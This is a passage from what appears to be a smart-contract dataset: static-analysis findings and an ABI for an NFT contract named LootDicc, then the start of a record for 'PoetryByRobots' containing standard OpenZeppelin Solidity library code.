{"LootDicc.sol": [499, 500, 501, 502, 503, 504, 505]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"LootDicc.sol": [561, 562, 563, 564, 565, 566, 567, 568, 569, 570]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"LootDicc.sol": [489, 490, 491]}}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium", "lines": {"LootDicc.sol": [1547]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LootDicc.sol": [717, 718, 719]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LootDicc.sol": [292, 293, 294]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LootDicc.sol": [1498, 1499, 1500, 1501, 1502, 1503]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LootDicc.sol": [800, 801, 802, 803, 804, 798, 799]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LootDicc.sol": [1096, 1097, 1098, 1099]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LootDicc.sol": [1112, 1113, 1114, 1111]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LootDicc.sol": [1411, 1412, 1413, 1414, 1415, 1416, 1417, 1418, 1419, 1420, 1421, 1422, 1423, 1424, 1425, 1426, 1427, 1428, 1429, 1430, 1431, 1432, 1433, 1434, 1435, 1436, 1437, 1438, 1439, 1440, 1441, 1442, 1443, 1444, 1445, 1446, 1447, 1448, 1449, 1450, 1451, 1452, 1453, 1454, 1455, 1456, 1457, 1458, 1459, 1460, 1461, 1462, 1463, 1464, 1465, 1466, 1467, 1468, 1469, 1470, 1471, 1472, 1473, 1474, 1475, 1476]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LootDicc.sol": [784, 785, 786, 787, 788, 789, 790, 791, 792, 793]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LootDicc.sol": [743, 744, 745, 746, 747, 748, 749, 750, 751, 752, 753]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LootDicc.sol": [300, 301, 302, 303]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LootDicc.sol": [1484, 1485, 1486, 1487, 1488, 1489, 1490]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LootDicc.sol": [712, 710, 711]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LootDicc.sol": [1505, 1506, 1507]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LootDicc.sol": [1478, 1479, 1480, 1481, 1482]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LootDicc.sol": [768, 769, 770, 771, 772, 767]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LootDicc.sol": [1492, 1493, 1494, 1495, 1496]}}, {"check": "function-init-state", "impact": "Informational", "confidence": "High", "lines": {"LootDicc.sol": [1233]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"LootDicc.sol": [3]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"LootDicc.sol": [541]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"LootDicc.sol": [568]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"LootDicc.sol": [595]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"LootDicc.sol": [467]}}, {"check": "calls-loop", "impact": "Low", "confidence": "Medium", "lines": {"LootDicc.sol": [1500]}}, {"check": "calls-loop", "impact": "Low", "confidence": "Medium", "lines": {"LootDicc.sol": [1008, 1009, 1010, 1011, 1012, 1013, 1014, 1015, 1016, 1017, 1018]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"LootDicc.sol": [813]}}, {"check": "variable-scope", "impact": "Low", "confidence": "High", "lines": {"LootDicc.sol": [1011]}}, {"check": "variable-scope", "impact": "Low", "confidence": "High", "lines": {"LootDicc.sol": [1015]}}, {"check": "variable-scope", "impact": "Low", "confidence": "High", "lines": {"LootDicc.sol": [1009]}}, {"check": "incorrect-shift", "impact": "High", "confidence": "High", "lines": {"LootDicc.sol": [1582]}}, {"check": "incorrect-shift", "impact": "High", "confidence": "High", "lines": {"LootDicc.sol": [1585]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"LootDicc.sol": [1229]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"LootDicc.sol": [1008, 1009, 1010, 1011, 1012, 1013, 1014, 1015, 1016, 1017, 1018]}}, {"check": "write-after-write", "impact": "Medium", "confidence": "High", "lines": {"LootDicc.sol": [1473]}}] | [] | [{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1232, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 218, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 293, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 897, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 918, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 939, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 942, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 972, "severity": 1}, {"rule": "SOLIDITY_DIV_MUL", "line": 1547, "severity": 2}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 1486, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 1499, "severity": 1}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 1486, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 1499, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 3, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 167, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 259, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 340, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 341, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 343, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 655, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 658, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 661, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 664, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 667, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 670, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1075, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1078, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1081, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1084, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1235, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1254, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1273, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1292, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1311, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1330, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1349, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 1011, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_PURE", "line": 1542, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_VIEW", "line": 436, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 241, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 1014, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 1554, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 266, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 345, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 464, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 675, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1531, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 464, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 464, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 465, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 465, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 465, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 465, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 467, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 467, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 467, "severity": 1}] | [{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"approved","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getBigdickenergy","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getCurvature","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getGirth","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getHardness","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getLength","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getLoadsize","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getVeininess","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lootAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lootContract","outputs":[{"internalType":"contract LootInterface","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"uint256","name":"lootId","type":"uint256"}],"name":"mintWithLoot","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"uint256[]","name":"tokenIds","type":"uint256[]"}],"name":"multiMint","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"uint256[]","name":"lootIds","type":"uint256[]"}],"name":"multiMintWithLoot","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"price","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenOfOwnerByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}] | v0.8.4+commit.c7e474f2 | false | 200 | Default | MIT | false | ipfs://2e71e671b415ea7805ed29ca6d408f29586655f27391f0487b898ff417093de1 |
|||
PoetryByRobots | 0x9ce01fa85b1e326ca8ec5ade69de0942109e37f8 | Solidity | // File: @openzeppelin/contracts/security/ReentrancyGuard.sol
// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
